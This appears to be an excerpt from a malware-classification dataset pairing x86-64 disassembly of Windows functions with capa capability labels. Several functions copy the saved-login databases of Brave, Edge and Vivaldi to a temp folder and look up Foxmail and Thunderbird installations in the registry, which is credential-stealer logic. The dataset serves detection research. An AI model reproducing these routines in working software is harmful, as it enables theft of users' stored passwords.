joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400046f0
Capabilities:
Copy file
Get common file path

Disassembly:
sub rsp, 0x68
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000484a
mov rdx, qword [rsp + 0x30]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x14000483f
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14000483f
mov r9, qword [rsp + 0x30]
lea r8, [0x1400d7018]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call fcn.1400c2880
mov qword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400df860]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140004834
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004829
lea rax, str.BraveSoftwareBrave_BrowserUser_DataDefaultLogin_Data
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
lea r8, [0x1400d70a8]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x48]
call fcn.1400c2880
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x14000481e
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, qword [rsp + 0x38]
jmp 0x14000484c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x68
ret
Function at 0x140004860
Capabilities:
Copy file
Get common file path

Disassembly:
sub rsp, 0x68
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400049ba
mov rdx, qword [rsp + 0x30]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400049af
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x1400049af
mov r9, qword [rsp + 0x30]
lea r8, [0x1400d70b8]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call fcn.1400c2880
mov qword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400df860]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1400049a4
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004999
lea rax, str.MicrosoftEdgeUser_DataDefaultLogin_Data
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
lea r8, [0x1400d7130]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x48]
call fcn.1400c2880
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x14000498e
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, qword [rsp + 0x38]
jmp 0x1400049bc
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x68
ret
Function at 0x140007e30
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x78
mov dword [rsp + 0x48], 0x12c
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140007f0b
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.Executable
lea rdx, [0x1400d7f60]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x140007f00
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
sub eax, 4
cdqe
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax*2]
lea rdx, str..exe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140007f00
mov dx, 0x5c
mov rcx, qword [rsp + 0x40]
call fcn.14000b6e0
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140007f00
xor eax, eax
mov rcx, qword [rsp + 0x60]
mov word [rcx], ax
mov rax, qword [rsp + 0x40]
jmp 0x140007f0d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x78
ret

Function at 0x140007f20
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x68
mov dword [rsp + 0x48], 0x12c
mov edx, 0x258
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140007f9d
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.Version
lea rdx, str.SOFTWAREAerofoxFoxmailPreview
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x140007f92
mov rax, qword [rsp + 0x40]
jmp 0x140007f9f
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x68
ret
Function at 0x14000a330
Capabilities:
Copy file
Get common file path

Disassembly:
sub rsp, 0x68
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000a48a
mov rdx, qword [rsp + 0x30]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x14000a47f
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14000a47f
mov r9, qword [rsp + 0x30]
lea r8, str._sDATABASE
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call fcn.1400c2880
mov qword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400df860]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x14000a474
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000a469
lea rax, str.VivaldiUser_DataDefaultLogin_Data
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
lea r8, [0x1400d8530]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x48]
call fcn.1400c2880
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x14000a45e
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, qword [rsp + 0x38]
jmp 0x14000a48c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x68
ret
Function at 0x14000ae70
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x58
mov dword [rsp + 0x40], 0xfffe
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000aeed
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x10000002
lea r8, [0x1400d8840]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths_thunderbird.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x14000aee2
mov rax, qword [rsp + 0x48]
jmp 0x14000aeef
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x58
ret
Function at 0x14004d250
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x80]
cmp dword [rax], 0
jne 0x14004d3e7
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x78]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
movzx eax, byte [rax + 5]
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x78]
cmp dword [rax + 0x88], 1
jne 0x14004d2c3
mov dword [rsp + 0x48], 0x64
jmp 0x14004d2cb
mov dword [rsp + 0x48], 0
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x38]
add eax, 5
cdqe
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
shl eax, 8
mov ecx, dword [rsp + 0x38]
add ecx, 5
movsxd rcx, ecx
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx + 1]
or eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x20]
mov eax, dword [rax + 0x34]
sub eax, ecx
mov eax, eax
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x20]
mov r8, qword [rsp + 0x30]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x50], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x50]
mov rcx, rax
call fcn.1400c2b10
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + 0xe]
mov rcx, qword [rsp + 0x70]
movzx ecx, word [rcx + 0x12]
lea eax, [rax + rcx*2]
cdqe
movsxd rcx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x3c]
mov r8, qword [rsp + 0x30]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x58], rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0x58]
mov rcx, rax
call fcn.1400c2b10
mov rax, qword [rsp + 0x78]
mov byte [rax], 0
mov rcx, qword [rsp + 0x78]
call fcn.14002bf90
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
je 0x14004d3c6
mov rax, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x24]
mov dword [rax], ecx
jmp 0x14004d3e7
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 0x21]
test eax, eax
je 0x14004d3e7
mov rcx, qword [rsp + 0x78]
call fcn.14002bd70
mov rcx, qword [rsp + 0x80]
mov dword [rcx], eax
add rsp, 0x68
ret
Function at 0x14004df30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.140027ba0
cmp dword [rsp + 0x78], eax
jbe 0x14004df66
mov ecx, 0x107be
call fcn.1400be020
jmp 0x14004e17b
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x48]
mov edx, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.140046770
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14004df98
mov eax, dword [rsp + 0x38]
jmp 0x14004e17b
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax + 8]
test eax, eax
je 0x14004dfb8
mov ecx, 0x107c3
call fcn.1400be020
mov dword [rsp + 0x38], eax
jmp 0x14004e164
mov rax, qword [rsp + 0x48]
mov byte [rax + 8], 1
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax + 5]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x3c], 0
jmp 0x14004dfe2
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 0x12]
cmp dword [rsp + 0x3c], eax
jge 0x14004e097
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 0x14]
mov ecx, dword [rsp + 0x3c]
shl ecx, 1
movsxd rcx, ecx
mov rdx, qword [rsp + 0x48]
mov rdx, qword [rdx + 0x60]
movzx ecx, word [rdx + rcx]
ror cx, 8
movzx ecx, cx
and eax, ecx
cdqe
mov rcx, qword [rsp + 0x48]
add rax, qword [rcx + 0x50]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14004e06e
mov rcx, qword [rsp + 0x30]
call fcn.140022420
mov r9, qword [rsp + 0x88]
mov r8d, 1
mov edx, eax
mov rcx, qword [rsp + 0x70]
call fcn.14004df30
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14004e06e
jmp 0x14004e164
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
call fcn.140047f00
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14004e092
jmp 0x14004e164
jmp 0x14004dfd8
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14004e0e7
mov eax, dword [rsp + 0x50]
add eax, 8
cdqe
mov rcx, qword [rsp + 0x48]
add rax, qword [rcx + 0x50]
mov rcx, rax
call fcn.140022420
mov r9, qword [rsp + 0x88]
mov r8d, 1
mov edx, eax
mov rcx, qword [rsp + 0x70]
call fcn.14004df30
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14004e0e5
jmp 0x14004e164
jmp 0x14004e10f
cmp qword [rsp + 0x88], 0
je 0x14004e10f
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 0x12]
mov rcx, qword [rsp + 0x88]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x88]
mov dword [rcx], eax
cmp dword [rsp + 0x80], 0
je 0x14004e12a
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call fcn.14004c7c0
jmp 0x14004e164
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 0x70]
call fcn.1400208d0
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x14004e164
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + 0x50]
movzx eax, byte [rcx + rax]
or eax, 8
mov edx, eax
mov rcx, qword [rsp + 0x48]
call fcn.140027db0
mov rax, qword [rsp + 0x48]
mov byte [rax + 8], 0
mov rcx, qword [rsp + 0x48]
call fcn.14002aa10
mov eax, dword [rsp + 0x38]
add rsp, 0x68
ret
Function at 0x140056520
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
mov qword [rax], 0
mov ecx, 0x28
call fcn.140012850
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140056560
mov eax, 7
jmp 0x140056632
cmp dword [0x1400e95a4], 0
je 0x140056577
mov ecx, 0xc8
call fcn.140021cd0
test eax, eax
je 0x14005658b
mov r8d, 0x28
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.1400c2980
jmp 0x1400565f7
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
mov qword [rax + 0x10], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0x30]
add rax, 8
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x30]
lea r8, [0x140056640]
xor edx, edx
xor ecx, ecx
call fcn.1400c4570
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
jne 0x1400565f7
mov r8d, 0x28
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.1400c2980
mov rax, qword [rsp + 0x30]
cmp qword [rax + 0x10], 0
jne 0x140056623
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rsp + 0x30]
mov dword [rcx + 8], eax
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x58]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
xor eax, eax
add rsp, 0x48
ret
Function at 0x1400c5c17
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400f1290]
jne 0x1400c2a9a
rol rcx, 0x10
test cx, 0xffff
jne 0x1400c2a96
repz ret
ror rcx, 0x10
jmp 0x1400c5b70
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400f6ff0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400f70e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400c5bf5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400f6ff0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400c5c17
mov rax, qword [rsp + 0x88]
mov qword [0x1400f70e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400f7088], rax
mov rax, qword [0x1400f70e8]
mov qword [0x1400f6f60], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400f7070], rax
mov dword [0x1400f6f50], 0xc0000409
mov dword [0x1400f6f54], 1
mov rax, qword [0x1400f1290]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400f1298]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400f6fe8], eax
mov ecx, 1
call fcn.1400ce610
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400dfa30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400f6fe8], 0
jne 0x1400c5c9e
mov ecx, 1
call fcn.1400ce610
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1400cb7c0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400cb630
Function at 0x1400cfa98
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400f1290]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400c7d48
xor ebx, ebx
cmp qword [0x1400f8060], rbx
mov rdi, rax
jne 0x1400cfbab
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400cfc82
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400cfc82
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400f8060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400f8068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400f8070], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400f8080], rax
test rax, rax
je 0x1400cfba2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400f8078], rax
jmp 0x1400cfbb2
mov rax, qword [0x1400f8078]
jmp 0x1400cfbb9
mov rax, qword [0x1400f8078]
mov r11, qword [0x1400f8080]
cmp rax, rdi
je 0x1400cfc20
cmp r11, rdi
je 0x1400cfc20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400f8080]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400cfc20
test rax, rax
je 0x1400cfc20
call rsi
test rax, rax
je 0x1400cfc1a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400cfc1a
test byte [rsp + 0x40], 1
jne 0x1400cfc20
bts ebp, 0x15
jmp 0x1400cfc60
mov rcx, qword [0x1400f8068]
cmp rcx, rdi
je 0x1400cfc60
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400cfc60
call rax
mov rbx, rax
test rax, rax
je 0x1400cfc60
mov rcx, qword [0x1400f8070]
cmp rcx, rdi
je 0x1400cfc60
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400cfc60
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400f8060]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400cfc82
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400cfc84
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400c2a80
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400011d0
Capabilities:
Enumerate process modules

Disassembly:
push rbx
push rbp
mov eax, 0x2278
call fcn.1400534a0
sub rsp, rax
mov rax, qword [0x140064028]
xor rax, rsp
mov qword [rsp + 0x2260], rax
mov rbx, rdx
lea r9, [rsp + 0x20]
lea rdx, [rsp + 0x50]
mov r8d, 0x2000
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x140001381
mov qword [rsp + 0x22a0], rdi
xor edi, edi
test dword [rsp + 0x20], 0xfffffff8
jbe 0x140001379
mov qword [rsp + 0x2298], rsi
mov qword [rsp + 0x2270], r14
nop
lea r14, [rsp + 0x50]
mov r9d, 0x104
mov rdx, qword [r14 + rdi*8]
lea r14, [r14 + rdi*8]
lea r8, [rsp + 0x2050]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x140001312
lea rdx, [rsp + 0x2050]
lea rcx, [rsp + 0x28]
call fcn.140001570
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x140001285
mov rsi, qword [rsp + 0x38]
lea r9, [rsp + 0x28]
mov r11, qword [rsp + 0x40]
mov r8, rsi
mov r10, qword [rsp + 0x28]
cmp r11, 8
mov rdx, rbx
cmovae r9, r10
cmp rax, rsi
cmovb r8, rax
test r8, r8
je 0x1400012d4
sub r9, rbx
movzx ecx, word [r9 + rdx]
cmp cx, word [rdx]
jne 0x140001325
add rdx, 2
sub r8, 1
jne 0x1400012c0
cmp rsi, rax
jb 0x140001325
ja 0x140001325
cmp r11, 8
jb 0x140001312
lea rdx, [r11*2 + 2]
mov rax, r10
cmp rdx, 0x1000
jb 0x14000130a
mov r10, qword [r10 - 8]
add rdx, 0x27
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001357
mov rcx, r10
call fcn.140052304
mov eax, dword [rsp + 0x20]
inc edi
shr eax, 3
cmp edi, eax
jb 0x140001240
jmp 0x140001369
mov rbx, qword [r14]
cmp r11, 8
jb 0x140001366
lea rdx, [r11*2 + 2]
mov rax, r10
cmp rdx, 0x1000
jb 0x14000135e
mov r10, qword [r10 - 8]
add rdx, 0x27
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000135e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r10
call fcn.140052304
mov rax, rbx
mov rsi, qword [rsp + 0x2298]
mov r14, qword [rsp + 0x2270]
mov rdi, qword [rsp + 0x22a0]
mov rcx, qword [rsp + 0x2260]
xor rcx, rsp
call fcn.1400522a0
add rsp, 0x2278
pop rbp
pop rbx
ret

Function at 0x1400031b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000320d
lea rbx, [0x140054dd0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400031f4
cmp r10, 2
jb 0x1400031f4
cmp byte [r9], r8b
jne 0x1400031f4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400031d0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000324f
lea rbx, [0x140054dd0]
cmp r8b, 0x23
jne 0x140003233
cmp byte [r9], r8b
jne 0x140003233
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140003220
mov rbx, qword [rsp + 8]
not eax
ret